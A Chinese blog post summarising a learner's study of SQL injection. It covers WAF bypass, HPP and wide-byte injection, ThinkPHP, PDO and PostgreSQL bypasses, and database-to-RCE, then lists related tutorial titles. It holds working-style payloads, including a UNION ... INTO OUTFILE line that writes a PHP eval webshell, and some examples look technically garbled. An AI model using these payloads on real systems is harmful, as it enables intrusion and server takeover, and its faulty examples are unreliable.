渗透学习总结

渗透学习总结

一、基础回顾:SQL注入核心逻辑

先简单复盘基础:SQL注入本质是攻击者将SQL语句片段注入到应用程序的输入参数中,由于程序未对输入做严格过滤,导致注入的SQL被数据库执行,进而获取数据、篡改信息甚至控制服务器。核心前提是“输入可控”且“语句未过滤/过滤不严谨”,后续所有绕过与利用技巧,都是基于这个核心逻辑针对不同防御场景的延伸。

二、WAF绕过:正则回溯耗尽与其他实用技巧

在实际渗透中,WAF(Web应用防火墙)是第一道屏障,很多基础注入语句会被直接拦截。其中,正则回溯绕过是针对WAF正则匹配机制的高效方法,也是我近期重点钻研的方向。

1. 正则回溯绕过WAF原理与实操

多数WAF通过正则表达式匹配注入关键字(如UNION、SELECT、AND)来拦截恶意请求,但正则匹配存在“回溯”机制——当正则表达式遇到复杂匹配场景时,会反复尝试不同路径匹配,若注入语句构造得足够复杂,会导致WAF正则引擎回溯次数耗尽,触发超时跳过检测,从而绕过拦截。

核心思路:构造超长且符合正则语法的冗余语句,迫使WAF正则引擎超时。例如针对匹配SELECT的正则,通过嵌套括号、重复无意义字符增加回溯难度。

用法示例


// 原始被拦截语句
?id=1 UNION SELECT 1,2,3 FROM users

// 构造回溯绕过语句(嵌套括号+冗余字符)
?id=1 UNION ((((((((((((((((SELECT 1)2)3)4)5)6)7)8)9)10)11)12)13)14)15),2,3 FROM users

注意事项:不同WAF的正则引擎阈值不同,需反复测试冗余长度;过度冗余可能导致数据库执行超时,需平衡绕过效果与语句可用性。

2. 其他常见WAF绕过技巧

  • 关键字变形:通过大小写混合(如SeLeCt)、插入注释(如SEL/xxx/ECT)、URL编码(如%53%45%4C%45%43%54)绕过关键字匹配,适合防御较弱的WAF。

  • 特殊符号替换:用等价符号替换关键字,如用“&&”替换AND、“||”替换OR,用“1=1”替换true,避开关键字拦截。

  • 分段注入:将注入语句拆分为多个参数传递,拼接后执行,绕过WAF对单参数的检测。

三、进阶注入:HPP与宽字节注入

除了WAF绕过,应用程序自身的参数处理逻辑也可能存在漏洞,HPP全局参数污染和宽字节注入就是典型场景,常出现在老旧系统或配置不当的应用中。

1. HPP(全局参数污染)注入

HPP指攻击者通过传递重复参数,利用应用程序对参数的解析顺序差异,覆盖原有参数值,构造注入语句。例如PHP默认会取最后一个重复参数的值,而部分中间件或框架可能取第一个,导致过滤逻辑失效。

实操场景:假设应用对?id参数做了过滤,拦截UNION关键字,可构造重复参数绕过:

http://target.com/index.php?id=1&id=UNION SELECT 1,2,3 FROM users

若应用过滤了第一个?id参数,却执行了第二个未过滤的参数值,就会触发注入。这种技巧常配合其他注入方式使用,突破简单的参数过滤。

2. 宽字节注入

宽字节注入主要出现在使用GBK、GB2312等宽字节编码的应用中,核心原因是数据库对特殊字符(如单引号’)的转义处理不当。当应用用addslashes()等函数将’转义为’时,攻击者可注入宽字节字符(如%df),使转义符\被“吃掉”,还原单引号,触发注入。

原理拆解:GBK编码中,%df%5c会被解析为一个宽字节“運”,而\的URL编码是%5c。若注入语句为?id=1%df’,转义后变为?id=1%df%27,数据库按GBK解析时,%df%27变成“運’”,单引号成功逃逸。

用法示例

http://target.com/index.php?id=1%df’ AND 1=2 UNION SELECT 1,2,3 FROM users–+

防御要点:统一使用UTF-8编码,避免宽字节场景;用mysqli_real_escape_string()结合数据库编码做转义,而非单纯依赖addslashes()。

四、框架注入:ThinkPHP SQL注入漏洞

在现代开发中,多数应用基于框架开发,框架自身的漏洞可能导致SQL注入,ThinkPHP作为国内常用PHP框架,历史上出现过多个高危注入漏洞,核心原因多为参数绑定不当、查询构造逻辑缺陷。

1. 常见漏洞场景(以ThinkPHP 3.x/5.x为例)

  • 3.x版本where条件注入:当where条件直接拼接参数,未使用参数绑定,如$User->where("id=$_GET[id]")->find(),攻击者可构造?id=1 OR 1=1触发注入。

  • 5.x版本order by注入:order by后的参数若直接接收用户输入,未过滤,可构造?order=id desc,updatexml(1,concat(0x7e,database(),0x7e),1),利用报错注入获取数据库信息。

  • 批量查询注入:部分版本的select、update批量操作中,参数处理不当,允许注入SQL片段。

2. 漏洞利用与防御

利用技巧:优先查看框架版本,通过公开漏洞POC测试;结合报错注入、盲注等方式获取数据,避免直接构造复杂语句被拦截。

防御建议:及时更新ThinkPHP到最新稳定版;严格使用框架自带的参数绑定机制(如where(['id'=>$id]));避免直接拼接SQL语句,禁用危险函数。

五、防御与绕过:PDO、PostgreSQL预编译绕过

很多开发者认为使用PDO或数据库预编译就能完全防御SQL注入,但实际中存在“伪预编译”和特定场景的绕过方法,PostgreSQL的预编译机制也有其特殊性。

1. PDO防御与绕过

PDO(PHP数据对象)通过参数绑定实现预编译,将SQL语句结构与参数分离,理论上能防御注入,但存在两个常见绕过场景:

  • 伪预编译场景:当PHP版本较低(<5.3.6)或数据库不支持真预编译时,PDO会使用模拟预编译(通过字符串替换实现),此时若参数包含特殊字符,仍可能绕过。例如构造?id=1' OR 1=1--+,模拟预编译可能无法完全过滤。

  • SQL语句结构可控:若表名、列名、排序字段等由用户输入控制,PDO无法对这些部分做参数绑定(只能绑定值),攻击者可构造?table=users where 1=1--+,拼接成恶意SQL。

防御强化:开启PDO真预编译(设置PDO::ATTR_EMULATE_PREPARES = false);表名、列名等用白名单限制,禁止用户输入直接代入。

2. PostgreSQL预编译绕过

PostgreSQL支持预编译,但在特定语法下仍可绕过,核心是利用其SQL语法特性:

  • 注释符绕过:PostgreSQL支持/* */、–等注释,还支持/**/嵌套注释,可构造?id=1;/*abc*/SELECT/*def*/1,2,3--+绕过简单预编译检测。

  • 特殊函数注入:利用PostgreSQL的内置函数(如format()、execute())构造动态SQL,若预编译未覆盖这类场景,可注入?id=1;EXECUTE format('SELECT * FROM users WHERE id=%s',1)--+

这类绕过场景较少见,多发生在预编译使用不规范的情况下,规范使用预编译仍是核心防御手段。

六、SQL注入衍生:RCE(远程代码执行)

SQL注入的终极危害之一是通过数据库特性实现RCE,控制目标服务器,常见于MySQL、PostgreSQL等数据库,需满足数据库权限足够(如root权限)、配置支持等条件。

1. MySQL数据库RCE

核心依赖into outfile/into dumpfile函数写入webshell,或利用UDF(用户自定义函数)执行系统命令。

写入webshell示例


UNION SELECT 1,'<?php @eval($_POST[shell]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'--+

需满足:知道网站绝对路径、数据库用户有写入权限、目标路径可写。若无法直接写入,可通过UDF导入恶意函数,执行system()等命令。

2. PostgreSQL数据库RCE

可通过COPY命令写入文件,或利用pg_catalog.pg_largeobject存储二进制数据,还可通过扩展(如dblink)执行系统命令,条件比MySQL更苛刻,但危害同样严重。

超全的Web渗透学习资料合集,共64篇。 web渗透: web安全原则 web渗透: web渗透测试清单 web渗透: 自动化漏洞扫描 web渗透: Google Hacking web渗透: web服务器指纹识别 web渗透: 枚举web服务器应用 web渗透: 识别web应用框架 web渗透: 配置管理测试 web渗透: 身份管理测试 web渗透: 不安全的HTTP方法 web渗透: 登录认证安全测试 web渗透: 浏览器缓存攻击测试 web渗透: 目录遍历文件包含测试 web渗透: 目录浏览漏洞测试 web渗透: 越权漏洞 web渗透: 任意文件下载 web渗透: 跨站请求伪造(CSRF) web渗透: 服务端请求伪造攻击(SSRF) web渗透: 跨站脚本攻击(XSS) web渗透: HTTP Host头攻击 web渗透: SQL注入(上) web渗透: SQL注入(下) web渗透: XML注入攻击 web渗透: XXE外部实体注入 web渗透: 服务器端包含注入(SSI注入) web渗透: XPath注入 web渗透: 命令注入 web渗透: HTTP响应头拆分漏洞 web渗透: LDAP注入 web渗透: ORM注入 web渗透: Json劫持Json注入 web渗透: 宽字节注入 web渗透: 脆弱的通信加密算法 web渗透: Padding Oracle攻击 web渗透: 未加密信道发送敏感数据 web渗透: 业务逻辑数据验证 web渗透: 伪造请求 web渗透: 验证码功能缺陷 web渗透: 竞争并发漏洞 web渗透: IMAPSMTP注入 web渗透: 本地文件包含远程文件包含 web渗透: 文件上传漏洞 web渗透: web服务器控制台地址泄漏 web渗透: 报错信息测试 web渗透: 不安全的对象引用 web渗透: 基于DOM的XSS跨站 web渗透: 堆栈轨迹测试 web渗透: 常见的数据信息泄露 web渗透: web消息漏洞 web渗透: WebSockets安全测试 web渗透: 异常信息泄漏 web渗透: 防御应用程序滥用 web渗透: 客户端资源处理漏洞 web渗透: HTML注入 web渗透: Flash跨域访问漏洞 web渗透: 客户端URL重定向 web渗透: DNS域传送漏洞 web渗透: 服务器多余端口开放 web渗透: 本地存储安全 web渗透: web服务器解析漏洞 web渗透: JavaScript注入漏洞 web渗透: CSS注入 web渗透: 会话固化漏洞 web渗透: 常见的WAF绕过方法
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值